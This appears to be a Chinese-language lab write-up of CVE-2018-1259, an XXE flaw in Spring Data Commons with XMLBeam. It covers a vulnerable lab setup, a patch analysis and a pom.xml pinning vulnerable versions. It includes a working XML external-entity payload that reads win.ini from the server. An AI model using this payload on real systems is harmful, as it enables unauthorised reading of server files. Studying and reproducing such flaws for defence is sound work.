01
—
漏洞简介
XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件。
02
—
环境搭建
下载官方的示例包
git clone https://github.com/spring-projects/spring-data-examples.git
用idea打开,配置pom.xml文件,
修改spring-data-commons的版本
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>2.0.5.RELEASE</version>
</dependency>
下载好相关依赖插件和包之后,生成package
cd /spring/spring-data-examples/web/projection
mvn clean package
启动环境:
cd /spring/spring-data-examples/web/projection/target
java -jar spring-data-web-projection-2.0.0.BUILD-SNAPSHOT.jar
访问:http://127.0.0.1:8080/,
环境搭建成功,如图。
03
—
漏洞复现
任意文件读取
使用post发送xml格式的payload
如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini" >
]>
<user><firstname>&rabbit;</firstname><lastname>don9sec</lastname></user>
成功读取到了文件内容,如图。
04
—
漏洞分析
一般在网上还未公开poc时,漏洞补丁对安全攻城狮做应急/复现来说无疑是最好的参考。
# 详见:
# xmlbeam的补丁
https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1
# spring-data-commons的补丁
https://github.com/spring-projects/spring-data-commons/commit/b8974a292ab463a304eda987632be4d9c145f5f8
可以发现,xmlbeam的补丁中对DefaultXMLFactoriesConfig.java
进行了如下修改:
-
配置了默认的feature
-
禁止实体引用、禁止合并多个XML文档。
spring-data-commons的补丁在传入XMLBeam的XBProjector时候也做了如下修改:
-
给DocumentBuilderFactory设置了参数,阻止外部实体的引入,禁用inline DOCTYPE声明,防止了XML实体注入。
所以,经过对补丁的分析,可以了解到该XXE漏洞的本质就是因为
src/main/java/org/xmlbeam/config/DefaultXMLFactoriesConfig.java
配置不当(没有限制外部实体)而导致的,而Spring Data Commons的某些版本中恰好使用了含有漏洞的XMLBeam组件,于是受到了影响。
05
—
附录
pom.xml:
替换掉官方示例包的pom.xml即可
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>spring-data-web-projection</artifactId>
<name>Spring Data - JSON and XML projection web example</name>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>2.0.5.RELEASE</version>
</dependency>
<dependency>
<groupId>com.jayway.jsonpath</groupId>
<artifactId>json-path</artifactId>
</dependency>
<dependency>
<groupId>org.xmlbeam</groupId>
<artifactId>xmlprojector</artifactId>
<version>1.4.13</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
参考:
https://blog.spoock.com/2018/05/16/cve-2018-1259/
本文始发于微信公众号(don9sec):漏洞复现 CVE-2018-1259 Spring XXE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论